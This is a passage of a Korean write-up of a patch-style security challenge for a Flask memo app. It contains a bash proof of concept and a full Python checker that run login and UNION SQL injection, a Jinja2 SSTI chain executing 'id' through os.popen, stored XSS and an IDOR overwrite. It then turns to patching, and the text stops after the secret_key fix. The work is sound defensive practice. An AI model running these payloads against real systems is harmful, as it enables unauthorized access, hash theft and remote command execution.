# poc_ssti.sh โ€” ๊ฐ€์ž… โ†’ ๋กœ๊ทธ์ธ โ†’ ๋ฉ”๋ชจ ์ž‘์„ฑ โ†’ html ๋ชจ๋“œ๋กœ ์กฐํšŒ
set -eu
BASE="${1:-http://127.0.0.1:5000}"
JAR="$(dirname "$(readlink -f "$0")")/local/poc_cookie.txt"
 
curl -s -X POST "$BASE/api/join"  -d 'userid=poc' -d 'password=poc' -o /dev/null
echo "--- login"
curl -s -X POST "$BASE/api/login" -c "$JAR" -d 'userid=poc' -d 'password=poc'; echo
 
echo "--- ๋ฉ”๋ชจ ์ž‘์„ฑ (contents ์— Jinja2 ํ‘œํ˜„์‹)"
IDX=$(curl -s -X PUT "$BASE/api/memo/add" -b "$JAR" \
        --data-urlencode 'title=ssti' \
        --data-urlencode "contents={{ config.__class__.__init__.__globals__['os'].popen('id -a').read() }}" \
      | python3 -c 'import sys,json; print(json.load(sys.stdin)["memoidx"])')
echo "memoidx = $IDX"
 
echo "--- html ๋ชจ๋“œ๋กœ ์กฐํšŒ"
curl -s "$BASE/api/memo/$IDX?mode=html"; echo
rm -f "$JAR"
./poc_ssti.sh http://127.0.0.1:5000
poc_ssti.sh ์‹คํ–‰ ๊ฒฐ๊ณผ โ€” ๋ฉ”๋ชจ ๋ณธ๋ฌธ์— ๋„ฃ์€ Jinja2 ํ‘œํ˜„์‹์ด ์„œ๋ฒ„์—์„œ ํ‰๊ฐ€๋ผ id ๋ช…๋ น์˜ ์ถœ๋ ฅ์ด ์‘๋‹ต์— ๊ทธ๋Œ€๋กœ ์‹ค๋ฆฐ๋‹ค
poc_ssti.sh ์‹คํ–‰ ๊ฒฐ๊ณผ โ€” ๋ฉ”๋ชจ ๋ณธ๋ฌธ์— ๋„ฃ์€ Jinja2 ํ‘œํ˜„์‹์ด ์„œ๋ฒ„์—์„œ ํ‰๊ฐ€๋ผ id ๋ช…๋ น์˜ ์ถœ๋ ฅ์ด ์‘๋‹ต์— ๊ทธ๋Œ€๋กœ ์‹ค๋ฆฐ๋‹ค

<pre> ์•ˆ์— id ์˜ ์ถœ๋ ฅ์ด ์ฐํ˜”๋‹ค. ๋ฉ”๋ชจ ํ•˜๋‚˜ ์“ฐ๋Š” ๊ฒƒ์œผ๋กœ ์ž„์˜ ๋ช…๋ น ์‹คํ–‰๊นŒ์ง€ ๊ฐ„๋‹ค.

๊ฐ™์€ ์ž๋ฆฌ์— ์ €์žฅํ˜• XSS ๋„ ์žˆ๋‹ค. Jinja2 ์˜ ์ž๋™ ์ด์Šค์ผ€์ดํ”„๋Š” {{ }} ๋กœ ๋„˜๊ธด ๊ฐ’์—๋งŒ ๊ฑธ๋ฆฌ๊ณ  ํ…œํ”Œ๋ฆฟ ์†Œ์Šค์˜ ๋ฆฌํ„ฐ๋Ÿด ํ…์ŠคํŠธ์—๋Š” ์•ˆ ๊ฑธ๋ฆฐ๋‹ค. .format() ์œผ๋กœ ๋ฐ•์•„ ๋„ฃ์€ <script> ๋Š” ์†Œ์Šค์˜ ์ผ๋ถ€๊ฐ€ ๋˜๋ฏ€๋กœ ์ด์Šค์ผ€์ดํ”„ ๋Œ€์ƒ์ด ์•„๋‹ˆ๋‹ค. ๊ทธ๋ž˜์„œ SSTI ๋ฅผ ๋ง‰๋Š” ๋ฐฉ์‹(๊ฐ’์„ ์ธ์ž๋กœ ๋„˜๊ธฐ๊ธฐ)์ด XSS ๊นŒ์ง€ ๊ฐ™์ด ๋ง‰๋Š”๋‹ค.


๐Ÿ’ฃ ์ทจ์•ฝ์  5 โ€” ๋‚จ์˜ ๋ฉ”๋ชจ๋ฅผ ๊ณ ์น  ์ˆ˜ ์žˆ๋‹ค

memoUpdate ๋Š” ๋กœ๊ทธ์ธ ์—ฌ๋ถ€๋งŒ ๋ณธ๋‹ค.

if not session.get('uid'):
  return jsonify(result="no login")
 
ret = query_db('SELECT * FROM memo where idx=?', [idx,])[0]
userid = session.get('uid')
...
if ret and title and contents:
  updateRet = cur.execute("UPDATE memo SET title=?, contents=? WHERE idx=?", (title, contents, idx))

ret ๋ฅผ ์ฝ์–ด ๋†“๊ณ ๋„ ret['userid'] ์™€ ์„ธ์…˜ ์‚ฌ์šฉ์ž๋ฅผ ๋Œ€์กฐํ•˜์ง€ ์•Š๋Š”๋‹ค. userid ๋ณ€์ˆ˜๋ฅผ ๋งŒ๋“ค์–ด ๋‘๊ณ  ์“ฐ์ง€๋„ ์•Š๋Š”๋‹ค. ์•„๋ฌด๋‚˜ ๊ฐ€์ž…ํ•ด์„œ ๋กœ๊ทธ์ธํ•˜๋ฉด ๋‚จ์˜ ๋ฉ”๋ชจ๋ฅผ ํ†ต์งธ๋กœ ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ๋‹ค. ์ „ํ˜•์ ์ธ IDOR ์ด๋‹ค.

์ฝ๊ธฐ ์ชฝ(memoView)์€ ์ธ์ฆ์ด ์•„์˜ˆ ์—†๋Š”๋ฐ, ์ด๊ฑด ๋‚จ๊ฒจ ๋’€๋‹ค. html ๋ชจ๋“œ๊ฐ€ Written by <์ž‘์„ฑ์ž> ๋ฅผ ์ฐ๋Š” ๊ฑธ ๋ณด๋ฉด ๊ณต๊ฐœ ์—ด๋žŒ์ด ์˜๋„๋œ ๊ธฐ๋Šฅ์œผ๋กœ ๋ณด์˜€๊ณ , ์—ฌ๊ธฐ์— ์ธ์ฆ์„ ๊ฑธ์—ˆ๋‹ค๊ฐ€ SLA ๊ฐ€ ๊นจ์ง€๋Š” ์ชฝ์ด ๋” ์œ„ํ—˜ํ•˜๋‹ค๊ณ  ํŒ๋‹จํ–ˆ๋‹ค.


๐Ÿ’ฃ ์ทจ์•ฝ์  6 โ€” secret_key ๊ฐ€ ์†Œ์Šค์— ๋ฐ•ํ˜€ ์žˆ๋‹ค

app.secret_key = "Th1s_1s_V3ry_secret_key"

Flask ์„ธ์…˜ ์ฟ ํ‚ค๋Š” ์ด ํ‚ค๋กœ ์„œ๋ช…๋งŒ ํ•œ๋‹ค. ํ‚ค๋ฅผ ์•„๋Š” ์‚ฌ๋žŒ์€ ์›ํ•˜๋Š” uid ๋ฅผ ๋‹ด์€ ์ฟ ํ‚ค๋ฅผ ์ง์ ‘ ๋งŒ๋“ค ์ˆ˜ ์žˆ๋‹ค. ๊ทธ๋ฆฌ๊ณ  ์ด ํ‚ค๋Š” ๋ฐฐํฌ ์†Œ์Šค์— ๊ทธ๋Œ€๋กœ ์ ํ˜€ ์žˆ๋‹ค. ์œ„์˜ IDOR ์„ ๊ณ ์ณ ๋†”๋„, ํ”ผํ•ด์ž ์„ธ์…˜์„ ์œ„์กฐํ•˜๋ฉด ์†Œ์œ ์ž ๊ฒ€์ฆ์„ ์ •๋ฉด์œผ๋กœ ํ†ต๊ณผํ•œ๋‹ค. ๊ทธ๋ž˜์„œ ์ด๊ฒƒ๋„ ์ทจ์•ฝ์ ์œผ๋กœ ์…Œ๋‹ค.



๐Ÿงช ์ ๊ฒ€๊ธฐ๋ฅผ ํ•˜๋‚˜ ๋งŒ๋“ ๋‹ค

์—ฌ์„ฏ ๊ฐœ๋ฅผ ๋ˆˆ์œผ๋กœ ํ™•์ธํ•˜๊ณ  ๋„˜์–ด๊ฐ€๋ฉด, ํŒจ์น˜ํ•œ ๋’ค์— "์ •๋ง ๋‹ค ๋ง‰ํ˜”๋‚˜"๋ฅผ ๋˜ ๋ˆˆ์œผ๋กœ ๋ด์•ผ ํ•œ๋‹ค. ๊ฐ™์€ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์›๋ณธ๊ณผ ํŒจ์น˜๋ณธ์— ๊ฐ๊ฐ ๋˜์ ธ ๊ฒฐ๊ณผ๋ฅผ ๋น„๊ตํ•  ์ˆ˜ ์žˆ๊ฒŒ ์ ๊ฒ€๊ธฐ๋ฅผ ํ•˜๋‚˜ ๋งŒ๋“ค์—ˆ๋‹ค.

โ–ถ๐Ÿ“„ exploit.py โ€” ์ทจ์•ฝ์  6์ข… ์ž๋™ ์ ๊ฒ€๊ธฐ (์ „๋ฌธ)
#!/usr/bin/env python3
"""PATCH-1 ์ทจ์•ฝ์  ์ž๋™ ์ ๊ฒ€๊ธฐ โ€” 5๊ฐœ ์ง€์  6ํ•ญ๋ชฉ.
 
์›๋ณธ app.py ๋“  ํŒจ์น˜๋ณธ์ด๋“  ๊ฐ™์€ ์Šคํฌ๋ฆฝํŠธ๋กœ ๋Œ๋ ค ๊ฒฐ๊ณผ๋ฅผ ๋น„๊ตํ•œ๋‹ค.
  python3 exploit.py http://127.0.0.1:5000     # ์›๋ณธ  -> ์ „๋ถ€ VULN
  python3 exploit.py http://127.0.0.1:5001     # ํŒจ์น˜๋ณธ -> ์ „๋ถ€ SAFE
"""
import sys
from urllib.parse import quote
 
import requests
 
BASE = sys.argv[1].rstrip("/") if len(sys.argv) > 1 else "http://127.0.0.1:5000"
RESULT = []
 
 
def report(name, vulnerable, evidence):
    RESULT.append((name, vulnerable, evidence))
    tag = "\033[91mVULN\033[0m" if vulnerable else "\033[92mSAFE\033[0m"
    print(f"  [{tag}] {name}\n         ๊ทผ๊ฑฐ: {evidence}\n")
 
 
def login(sess, userid, password):
    return sess.post(
        f"{BASE}/api/login", data={"userid": userid, "password": password}, timeout=5
    )
 
 
# ---------------------------------------------------------------- 1. ๋กœ๊ทธ์ธ SQLi
def check_login_sqli():
    print("[1] /api/login  -- f-string ์œผ๋กœ ์กฐ๋ฆฝํ•œ WHERE ์ ˆ")
    s = requests.Session()
    payload = "admin' -- "
    r = login(s, payload, "์•„๋ฌด๊ฑฐ๋‚˜")
    j = r.json()
    ok = j.get("result") == "success" and j.get("userid") == "admin"
    report("๋กœ๊ทธ์ธ SQL Injection", ok,
           f"userid=\"{payload}\" ๋กœ ๋น„๋ฐ€๋ฒˆํ˜ธ ์—†์ด ์‘๋‹ต {j}")
    return s if ok else None
 
 
# ------------------------------------------------------- 2. ๋ฉ”๋ชจ ์กฐํšŒ SQLi(UNION)
def check_memo_sqli():
    print("[2] /api/memo/<idx>  -- 'where idx=' + idx ๋ฌธ์ž์—ด ์—ฐ๊ฒฐ")
    payload = "-1 union select 1,userid,password,'x' from users where userid='admin'"
    r = requests.get(f"{BASE}/api/memo/{quote(payload)}", timeout=5)
    try:
        j = r.json()
    except Exception:
        j = {"raw": r.text[:120]}
    leaked = j.get("title", "")
    ok = isinstance(leaked, str) and len(leaked) == 64
    report("๋ฉ”๋ชจ ์กฐํšŒ UNION SQL Injection", ok,
           f"users ํ…Œ์ด๋ธ” admin ํ•ด์‹œ ์œ ์ถœ -> {leaked!r} (HTTP {r.status_code})")
 
 
# ------------------------------------------------------------------- 3/4. ๋ฉ”๋ชจ ์ž‘์„ฑ
def add_memo(sess, title, contents):
    r = sess.put(f"{BASE}/api/memo/add",
                 data={"title": title, "contents": contents}, timeout=5)
    return r.json().get("memoidx")
 
 
def check_ssti_and_xss(sess):
    print("[3] /api/memo/<idx>?mode=html  -- format() ๊ฒฐ๊ณผ๋ฅผ ๊ทธ๋Œ€๋กœ ๋ Œ๋”๋ง")
    idx = add_memo(sess, "ssti", "{{7*7}}")
    html = requests.get(f"{BASE}/api/memo/{idx}?mode=html", timeout=5).text
    report("Jinja2 SSTI (์ˆ˜์‹ ํ‰๊ฐ€)", "49" in html,
           f"contents='{{{{7*7}}}}' ์ €์žฅ ํ›„ html ๋ชจ๋“œ ์‘๋‹ต์— '49' ํฌํ•จ ์—ฌ๋ถ€ -> {'49' in html}")
 
    rce = "{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}"
    idx = add_memo(sess, "rce", rce)
    html = requests.get(f"{BASE}/api/memo/{idx}?mode=html", timeout=5).text
    report("SSTI ๋ฅผ ํ†ตํ•œ ์ž„์˜ ๋ช…๋ น ์‹คํ–‰", "uid=" in html,
           f"config.__class__ ์ฒด์ธ์œผ๋กœ os.popen('id') -> "
           f"{html.strip().splitlines()[-2:] if 'uid=' in html else '์‹คํ–‰ ์•ˆ ๋จ'}")
 
    print("[4] ๊ฐ™์€ ์ง€์  -- ์ €์žฅํ˜• XSS")
    idx = add_memo(sess, "xss", "<script>alert(document.domain)</script>")
    html = requests.get(f"{BASE}/api/memo/{idx}?mode=html", timeout=5).text
    report("์ €์žฅํ˜• XSS", "<script>alert(document.domain)</script>" in html,
           "contents ์˜ <script> ํƒœ๊ทธ๊ฐ€ ์ด์Šค์ผ€์ดํ”„ ์—†์ด ์‘๋‹ต ๋ณธ๋ฌธ์— ๊ทธ๋Œ€๋กœ ๋“ฑ์žฅ")
 
 
# ------------------------------------------------------------ 5. ๋‚จ์˜ ๋ฉ”๋ชจ ์ˆ˜์ •
def check_idor():
    print("[5] PUT /api/memo/<idx>  -- ๋ฉ”๋ชจ ์†Œ์œ ์ž ํ™•์ธ ์—†์Œ")
    s = requests.Session()
    s.post(f"{BASE}/api/join", data={"userid": "mallory", "password": "mallory"}, timeout=5)
    login(s, "mallory", "mallory")
    victim = 1  # init_db.py ๊ฐ€ ๋„ฃ์–ด๋‘” admin ์˜ ๋ฉ”๋ชจ
    s.put(f"{BASE}/api/memo/{victim}",
          data={"title": "hacked", "contents": "mallory ๊ฐ€ ๋ฎ์–ด์ผ๋‹ค"}, timeout=5)
    after = requests.get(f"{BASE}/api/memo/{victim}", timeout=5).json()
    ok = after.get("title") == "hacked"
    report("IDOR - ํƒ€์ธ ๋ฉ”๋ชจ ์ž„์˜ ์ˆ˜์ •", ok,
           f"mallory ๋กœ ๋กœ๊ทธ์ธํ•ด admin ์†Œ์œ  memo idx={victim} ์ˆ˜์ • ์‹œ๋„ -> ํ˜„์žฌ ๊ฐ’ {after}")
 
 
def main():
    print(f"=== PATCH-1 ์ทจ์•ฝ์  ์ ๊ฒ€: {BASE} ===\n")
    sess = check_login_sqli()
    check_memo_sqli()
    if sess is None:  # SQLi ๊ฐ€ ๋ง‰ํ˜”์œผ๋ฉด ์ •์ƒ ๊ณ„์ •์œผ๋กœ ๋กœ๊ทธ์ธํ•ด์„œ ์ด์–ด๊ฐ„๋‹ค
        sess = requests.Session()
        sess.post(f"{BASE}/api/join", data={"userid": "tester", "password": "tester"}, timeout=5)
        login(sess, "tester", "tester")
    check_ssti_and_xss(sess)
    check_idor()
 
    print("=" * 58)
    vuln = sum(1 for _, v, _ in RESULT if v)
    for name, v, _ in RESULT:
        print(f"  {'์ทจ์•ฝ' if v else '์•ˆ์ „'}  {name}")
    print("=" * 58)
    print(f"  ์ทจ์•ฝ {vuln}๊ฑด / ์ ๊ฒ€ {len(RESULT)}๊ฑด")
 
 
if __name__ == "__main__":
    main()

ํ•œ ๊ฐ€์ง€ ์‹ ๊ฒฝ ์“ด ๋ถ€๋ถ„์ด ์žˆ๋‹ค. ๋กœ๊ทธ์ธ SQLi ๊ฐ€ ๋ง‰ํžˆ๋ฉด ๊ทธ๋‹ค์Œ ๊ฒ€์‚ฌ๋“ค์ด ์„ธ์…˜์„ ๋ชป ์–ป์–ด ์ค„์ค„์ด ์‹คํŒจํ•œ๋‹ค. ๊ทธ๋Ÿฌ๋ฉด ํŒจ์น˜๋ณธ์—์„œ "SSTI ๋„ ์•ˆ์ „"์ด ์•„๋‹ˆ๋ผ "ํ™•์ธ ์ž์ฒด๋ฅผ ๋ชป ํ•จ"์ด ๋˜์–ด ๋ฒ„๋ฆฐ๋‹ค. ๊ทธ๋ž˜์„œ SQLi ๊ฐ€ ์‹คํŒจํ•˜๋ฉด ์ •์ƒ ๊ณ„์ •์œผ๋กœ ๊ฐ€์ž…ยท๋กœ๊ทธ์ธํ•ด ๋‚˜๋จธ์ง€๋ฅผ ์ด์–ด ๊ฐ€๊ฒŒ ํ–ˆ๋‹ค.

python3 exploit.py http://127.0.0.1:5000
์›๋ณธ app.py ์— ๋Œ€ํ•œ exploit.py ์‹คํ–‰ ๊ฒฐ๊ณผ โ€” ๋กœ๊ทธ์ธ SQLi ๋ถ€ํ„ฐ IDOR ๊นŒ์ง€ ์—ฌ์„ฏ ํ•ญ๋ชฉ์ด ๋ชจ๋‘ VULN ์œผ๋กœ ํ‘œ์‹œ๋œ๋‹ค
์›๋ณธ app.py ์— ๋Œ€ํ•œ exploit.py ์‹คํ–‰ ๊ฒฐ๊ณผ โ€” ๋กœ๊ทธ์ธ SQLi ๋ถ€ํ„ฐ IDOR ๊นŒ์ง€ ์—ฌ์„ฏ ํ•ญ๋ชฉ์ด ๋ชจ๋‘ VULN ์œผ๋กœ ํ‘œ์‹œ๋œ๋‹ค

์—ฌ์„ฏ ๊ฑด ์ „๋ถ€ ์žฌํ˜„๋๋‹ค. ์ด์ œ ์ด ์ˆซ์ž๋ฅผ 0์œผ๋กœ ๋งŒ๋“ค๋ฉด ๋œ๋‹ค.


๐Ÿ› ์‚ฝ์งˆ

โ–ถ๐Ÿ› ์‚ฝ์งˆ 1 โ€” ์–ด๋””๊นŒ์ง€ ๊ณ ์ณ์•ผ '์ „๋ถ€'์ธ๊ฐ€

์ด ๋ฌธ์ œ์˜ ์ง„์งœ ๋‚œ์ด๋„๋Š” ๊ธฐ๋ฒ•์ด ์•„๋‹ˆ๋ผ ๊ฒฝ๊ณ„์„ ์— ์žˆ๋‹ค. ์ฑ„์  ์„œ๋ฒ„๊ฐ€ ๋ฌด์—‡์„ ๊ฒ€์‚ฌํ•˜๋Š”์ง€ ์•ˆ ์•Œ๋ ค ์ฃผ๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค. ๋„ˆ๋ฌด ์ ๊ฒŒ ๊ณ ์น˜๋ฉด ๊ณต๊ฒฉ ํ…Œ์ŠคํŠธ์—์„œ ๋–จ์–ด์ง€๊ณ , ๋„ˆ๋ฌด ๋งŽ์ด ๊ณ ์น˜๋ฉด SLA ๊ฐ€ ๊นจ์ง„๋‹ค.

ํŠนํžˆ ๊ณ ๋ฏผํ•œ ๊ฒŒ ์…‹์ด์—ˆ๋‹ค.

์ฒซ์งธ, memoView ์— ๋กœ๊ทธ์ธยท์†Œ์œ ์ž ๊ฒ€์‚ฌ๋ฅผ ๋„ฃ์„ ๊ฒƒ์ธ๊ฐ€. ๋„ฃ์œผ๋ฉด "๋‚จ์˜ ๋ฉ”๋ชจ ์—ด๋žŒ"๊นŒ์ง€ ๋ง‰ํžˆ์ง€๋งŒ, ๋น„๋กœ๊ทธ์ธ ์กฐํšŒ๋ฅผ ์ •์ƒ ๊ธฐ๋Šฅ์œผ๋กœ ๋ณด๋Š” SLA ๊ฐ€ ์žˆ์œผ๋ฉด ๊ทธ๋Œ€๋กœ ํƒˆ๋ฝ์ด๋‹ค. ๋‹ค๋ฅธ ๋ผ์šฐํŠธ๋“ค์€ ์ „๋ถ€ if not session.get('uid') ๊ฐ€๋ฅด๋“œ๋ฅผ ๋‹ฌ๊ณ  ์žˆ๋Š”๋ฐ memoView ๋งŒ ์—†๋‹ค. ๋น ๋œจ๋ฆฐ ๊ฒŒ ์•„๋‹ˆ๋ผ ๊ณต๊ฐœ ์ฝ๊ธฐ๊ฐ€ ์˜๋„๋ผ๊ณ  ์ฝ์—ˆ๋‹ค. ๊ทธ๋Œ€๋กœ ๋’€๋‹ค.

๋‘˜์งธ, ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์†”ํŠธ ์—†๋Š” SHA-256 ์œผ๋กœ ์ €์žฅํ•˜๋Š” ๊ฒƒ. ์ด๊ฑด ๋ถ„๋ช… ์•ฝํ•˜์ง€๋งŒ, ํ•ด์‹œ ๋ฐฉ์‹์„ ๋ฐ”๊พธ๋ฉด ๊ธฐ์กด users ํ–‰์˜ ๊ฐ’์ด ์ „๋ถ€ ๋ฌดํšจ๊ฐ€ ๋˜์–ด ๋กœ๊ทธ์ธ์ด ํ†ต์งธ๋กœ ๊นจ์ง„๋‹ค. ๋งˆ์ด๊ทธ๋ ˆ์ด์…˜ ์—†์ด ๊ณ ์น  ์ˆ˜ ์žˆ๋Š” ์ข…๋ฅ˜๊ฐ€ ์•„๋‹ˆ๋ผ์„œ ๋’€๋‹ค.

์…‹์งธ, secret_key ๋ฅผ ์ง„์งœ ๋ฐ”๊ฟ”๋„ ๋˜๋Š”๊ฐ€. os.urandom(32) ์€ ํ”„๋กœ์„ธ์Šค๊ฐ€ ๋œฐ ๋•Œ๋งˆ๋‹ค ๊ฐ’์ด ๋‹ฌ๋ผ์ง„๋‹ค. ์›Œ์ปค๊ฐ€ ์—ฌ๋Ÿฌ ๊ฐœ๋ฉด ์„ธ์…˜์ด ๊นจ์ง€๋Š”๋ฐ, run.py ๊ฐ€ threaded=True ๋กœ ๋‹จ์ผ ํ”„๋กœ์„ธ์Šค๋ฅผ ๋„์šฐ๋Š” ๊ฑธ ํ™•์ธํ•˜๊ณ ์„œ์•ผ ๋„ฃ์—ˆ๋‹ค. ์ˆ˜์ • ๋ถˆ๊ฐ€ ํƒญ์„ ์ฝ์€ ๊ฒŒ ์—ฌ๊ธฐ์„œ ๊ฐ’์„ ํ–ˆ๋‹ค.

โ–ถ๐Ÿ› ์‚ฝ์งˆ 2 โ€” ์ค‘๋ณต ๊ฐ€์ž…์ด 500 ์„ ๋ฑ‰๋Š”๋‹ค

๊ธฐ๋Šฅ ํšŒ๊ท€ ํ…Œ์ŠคํŠธ๋ฅผ ๋‘ ๋ฒˆ์งธ ๋Œ๋ ธ๋”๋‹ˆ ์›๋ณธ ์ชฝ์—์„œ JSON ํŒŒ์‹ฑ ์˜ˆ์™ธ๊ฐ€ ํ„ฐ์กŒ๋‹ค. ์›์ธ์€ ํ…Œ์ŠคํŠธ๊ฐ€ ์“ฐ๋Š” ๊ณ„์ •์ด ์ด๋ฏธ DB ์— ๋‚จ์•„ ์žˆ์—ˆ๋˜ ๊ฒƒ.

schema.sql ์—์„œ userid ๊ฐ€ ๊ธฐ๋ณธํ‚ค๋ผ ๊ฐ™์€ ์•„์ด๋””๋ฅผ ๋‹ค์‹œ ๋„ฃ์œผ๋ฉด sqlite3.IntegrityError ๊ฐ€ ๋‚˜๋Š”๋ฐ, join() ์ด ์ด๊ฑธ ์žก์ง€ ์•Š์•„ ๊ทธ๋Œ€๋กœ 500 ์ด ๋œ๋‹ค.

for p in 5000 5001; do printf "port %s -> HTTP " $p; curl -s -o /dev/null -w "%{http_code}\n" -X POST http://127.0.0.1:$p/api/join -d userid=guest -d password=x; done
์›๋ณธ๊ณผ ํŒจ์น˜๋ณธ์— ๊ฐ™์€ ์•„์ด๋””๋กœ ์ค‘๋ณต ๊ฐ€์ž…์„ ์š”์ฒญํ•œ ๊ฒฐ๊ณผ โ€” ์›๋ณธ์€ HTTP 500 ์„ ๋‚ด๊ณ  ํŒจ์น˜๋ณธ์€ 200 ์œผ๋กœ ์—๋Ÿฌ JSON ์„ ๋Œ๋ ค์ค€๋‹ค
์›๋ณธ๊ณผ ํŒจ์น˜๋ณธ์— ๊ฐ™์€ ์•„์ด๋””๋กœ ์ค‘๋ณต ๊ฐ€์ž…์„ ์š”์ฒญํ•œ ๊ฒฐ๊ณผ โ€” ์›๋ณธ์€ HTTP 500 ์„ ๋‚ด๊ณ  ํŒจ์น˜๋ณธ์€ 200 ์œผ๋กœ ์—๋Ÿฌ JSON ์„ ๋Œ๋ ค์ค€๋‹ค

๊ธฐ๋ณธํ‚ค๊ฐ€ ์žˆ์œผ๋‹ˆ ๊ณ„์ • ํƒˆ์ทจ๊นŒ์ง€ ๊ฐ€์ง€๋Š” ์•Š๋Š”๋‹ค. ๋‹ค๋งŒ ์ฒ˜๋ฆฌ๋˜์ง€ ์•Š์€ ์˜ˆ์™ธ๋กœ ์Šคํƒ ํŠธ๋ ˆ์ด์Šค๊ฐ€ ๋…ธ์ถœ๋  ์ˆ˜ ์žˆ๊ณ , ๋ฌด์—‡๋ณด๋‹ค ์ด๋Ÿฐ ์ƒํƒœ ์˜์กด ๋•Œ๋ฌธ์— ํšŒ๊ท€ ํ…Œ์ŠคํŠธ ๊ฒฐ๊ณผ๋ฅผ ๋ชป ๋ฏฟ๊ฒŒ ๋œ๋‹ค. ํŒจ์น˜๋ณธ์€ ๊ฐ€์ž… ์ „์— ์กด์žฌ ์—ฌ๋ถ€๋ฅผ ํ™•์ธํ•ด {"result":"error"} ๋ฅผ ๋Œ๋ ค์ฃผ๋„๋ก ํ–ˆ๊ณ , ํ…Œ์ŠคํŠธ ์Šคํฌ๋ฆฝํŠธ์—๋Š” "์„œ๋ฒ„๋ฅผ ์ƒˆ๋กœ ๋„์šฐ๊ณ  ๋Œ๋ฆด ๊ฒƒ"์ด๋ผ๋Š” ์กฐ๊ธฐ ์‹คํŒจ ๊ฐ€๋ฅด๋“œ๋ฅผ ๋„ฃ์—ˆ๋‹ค.

โ–ถ๐Ÿ› ์‚ฝ์งˆ 3 โ€” ์ž๋™ ์ด์Šค์ผ€์ดํ”„ ๊ธฐ๋ณธ๊ฐ’์„ ๋ฏฟ์–ด๋„ ๋˜๋‚˜

SSTI ๋ฅผ ๊ณ ์น˜๋Š” ์ •์„์€ ๊ฐ’์„ ํ…œํ”Œ๋ฆฟ ์ธ์ž๋กœ ๋„˜๊ธฐ๋Š” ๊ฒƒ์ด๋‹ค. ๊ทธ๋Ÿฌ๋ฉด XSS ๋Š” Jinja2 ์ž๋™ ์ด์Šค์ผ€์ดํ”„๊ฐ€ ๋ง‰์•„ ์ค€๋‹ค โ€” ์ž๋™ ์ด์Šค์ผ€์ดํ”„๊ฐ€ ์ผœ์ ธ ์žˆ๋‹ค๋ฉด.

render_template_string ์€ ํ…œํ”Œ๋ฆฟ ์ด๋ฆ„์ด ์—†์œผ๋‹ˆ Flask ์˜ select_jinja_autoescape(None) ๋ฐ˜ํ™˜๊ฐ’์„ ๋”ฐ๋ฅธ๋‹ค. ์ง€๊ธˆ Flask ๋Š” True ๋ฅผ ๋Œ๋ ค์ฃผ์ง€๋งŒ ์•„์ฃผ ์˜›๋‚  ๋ฒ„์ „์€ False ์˜€๋‹ค. ๋ฌธ์ œ ์„œ๋ฒ„์˜ requirements.txt ๋Š” ๋ฒ„์ „ ๊ณ ์ • ์—†์ด flask ํ•œ ์ค„์ด๋ผ ์–ด๋–ค ๋ฒ„์ „์ด ๊น”๋ฆด์ง€ ๋ชจ๋ฅธ๋‹ค.

์ด์Šค์ผ€์ดํ”„๋ฅผ ์ง์ ‘ ํ•˜๋Š” ๋ฐฉ๋ฒ•๋„ ์ƒ๊ฐํ•ด ๋ดค๋Š”๋ฐ, markupsafe.escape ๋Š” &<>"' ๋งŒ ๋ฐ”๊พธ๊ณ  ์ค‘๊ด„ํ˜ธ๋Š” ๊ฑด๋“œ๋ฆฌ์ง€ ์•Š๋Š”๋‹ค. ์ด์Šค์ผ€์ดํ”„ํ•œ ๊ฐ’์„ ๋‹ค์‹œ ํ…œํ”Œ๋ฆฟ ์†Œ์Šค์— ๋ฐ•์œผ๋ฉด SSTI ๋Š” ๊ทธ๋Œ€๋กœ๋‹ค. ๊ฒฐ๊ตญ ๊ฐ’์€ ์ธ์ž๋กœ ๋„˜๊ธฐ๋˜, ํ™˜๊ฒฝ์— ์˜์กดํ•˜์ง€ ์•Š๊ฒŒ app.jinja_env.autoescape = True ํ•œ ์ค„๋กœ ๋ชป๋ฐ•๋Š” ์ชฝ์„ ํƒํ–ˆ๋‹ค.



๐Ÿฉน ํŒจ์น˜

์—ฌ์„ฏ ๊ณณ์„ ๊ณ ์ณค๋‹ค. ์‘๋‹ต ํ˜•์‹๊ณผ ํ๋ฆ„์€ ์›๋ณธ ๊ทธ๋Œ€๋กœ ๋‘๊ณ , ์†๋Œ€๋Š” ์ค„๋งŒ ์ตœ์†Œ๋กœ ๋ฐ”๊ฟจ๋‹ค.

์ง€์ ์›๋ณธํŒจ์น˜
loginf-string ์œผ๋กœ WHERE ์ ˆ ์กฐ๋ฆฝํ”Œ๋ ˆ์ด์Šคํ™€๋” ๋ฐ”์ธ๋”ฉ
memoView"... where idx=" + idxint(idx) ๋ณ€ํ™˜ ํ›„ ๋ฐ”์ธ๋”ฉ
memoView htmlformat() ๊ฒฐ๊ณผ๋ฅผ ๋ Œ๋”๋งํ…œํ”Œ๋ฆฟ์€ ์ƒ์ˆ˜, ๊ฐ’์€ ์ธ์ž
memoUpdate๋กœ๊ทธ์ธ ์—ฌ๋ถ€๋งŒ ํ™•์ธ๋ฉ”๋ชจ ์†Œ์œ ์ž ๋Œ€์กฐ ์ถ”๊ฐ€
join์ค‘๋ณต ๊ฐ€์ž… ์‹œ 500์กด์žฌ ํ™•์ธ ํ›„ ์—๋Ÿฌ ์‘๋‹ต
secret_key์†Œ์Šค์— ๊ณ ์ • ๋ฌธ์ž์—ดํ”„๋กœ์„ธ์Šค๋งˆ๋‹ค ์ž„์˜ ๊ฐ’
โ–ถ๐Ÿ“„ app_patched.py โ€” ์ œ์ถœํ•œ ํŒจ์น˜๋ณธ (์ „๋ฌธ)
#!/usr/bin/python3
from flask import Flask, request, render_template_string, g, session, jsonify
import sqlite3
import os, hashlib
 
app = Flask(__name__)
# [PATCH] ๋ฐฐํฌ ์†Œ์Šค์— ๋ฐ•ํ˜€ ์žˆ๋˜ ๊ณ ์ • secret_key ๋Š” ๋ˆ„๊ตฌ๋‚˜ ์„ธ์…˜ ์ฟ ํ‚ค๋ฅผ ์œ„์กฐํ•  ์ˆ˜ ์žˆ๋‹ค.
#         ํ”„๋กœ์„ธ์Šค๋งˆ๋‹ค ์ž„์˜ ํ‚ค๋ฅผ ์“ฐ๊ณ , ํ™˜๊ฒฝ๋ณ€์ˆ˜๋กœ ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ๊ฒŒ๋งŒ ๋‚จ๊ธด๋‹ค.
app.secret_key = os.environ.get('SECRET_KEY') or os.urandom(32)
